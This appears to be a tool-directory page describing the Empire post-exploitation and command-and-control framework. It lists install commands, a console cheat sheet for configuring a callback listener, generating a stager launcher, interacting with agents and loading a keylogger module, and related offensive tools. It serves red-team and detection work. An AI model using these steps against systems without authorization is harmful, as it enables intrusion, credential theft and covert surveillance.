Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
sudo apt install powershell-empire
powershell-empire
Empire is a free, open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y (Will Schroeder) in 2015 and now actively maintained by BC-Security. It provides red teams and security researchers with a robust platform for simulating advanced persistent threat (APT) behaviors during authorized engagements.
The framework uses a client-server architecture where the server manages listeners, agents, and modules, while the client provides the interactive console. Empire's agents use PowerShell (for Windows) and Python (for Linux) to maintain encrypted C2 channels back to the server, enabling remote command execution, credential harvesting, lateral movement, and persistence.
With hundreds of built-in modules covering reconnaissance, privilege escalation, credential extraction (including Mimikatz integration), lateral movement, and exfiltration, Empire enables comprehensive post-exploitation assessment. Blue teams and SOC analysts also study Empire's techniques to build detection rules and improve defensive capabilities.
Empire is intended exclusively for authorized security testing, educational purposes, and defensive research. Always obtain proper written authorization before using this tool in any engagement.
powershell-empire serverStart the Empire team server (RESTful API backend) that agents connect back topowershell-empire clientLaunch the Empire client console that connects to the serverpowershell-empire server --config config.yamlStart the server with a custom configuration filelistenersList active listeners in the client consoleuselistener httpSelect the HTTP listener module to configureset Port 8080Set an option (here the listen port) on the selected listenerset Host http://10.10.10.10:8080Set the callback host/URL the agent will useexecuteStart the currently configured listenerusestager multi/launcherSelect a stager to generate agent-delivery codeset Listener httpBind the selected stager to a named listenergenerateGenerate the stager output (e.g. a PowerShell launcher one-liner)agentsList all agents that have called back to the serverinteract <NAME>Enter an interactive session with a specific agentusemodule powershell/collection/keyloggerSelect a post-exploitation module to run on the active agentshell whoamiRun a shell command on the interacted agentEstablish encrypted command and control channels for authorized post-exploitation operations.
Deploy and manage lightweight agents on Windows and Linux targets within authorized scope.
Execute hundreds of post-exploitation modules for reconnaissance, credential harvesting, and persistence.
Simulate adversary lateral movement across network segments during authorized engagements.
Extract credentials using built-in Mimikatz integration and custom credential modules.
Test an organization's ability to detect C2 communications and PowerShell-based attacks.
Exploitation
Full exploitation framework for initial access and post-exploitation.
Post Exploitation
Commercial C2 platform with advanced evasion and malleable profiles.
Post Exploitation
Credential extraction tool integrated into Empire's module library.
Information Gathering
Active Directory enumeration and lateral movement tool.
Information Gathering
Active Directory attack path analysis and visualization.
Exploitation
Network protocol library for lateral movement and credential attacks.
Sniffing & Spoofing
LLMNR/NBT-NS poisoning tool for capturing NTLM hashes.
Information Gathering
Network scanner for reconnaissance before Empire deployment.
Sniffing & Spoofing
Packet analyzer for inspecting C2 traffic and validating encryption.
Post Exploitation
Cross-platform C2 framework as an alternative to Empire.
Empire's console displays a command prompt with the current context (listeners, agents, or modules). Listener output shows the host, port, and URI. Agent output displays agent ID, hostname, username, and last check-in time. Module output shows task results including credential dumps, system information, and execution status. The console uses color-coded indicators: green for active agents, yellow for delayed check-ins, and red for failed connections.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.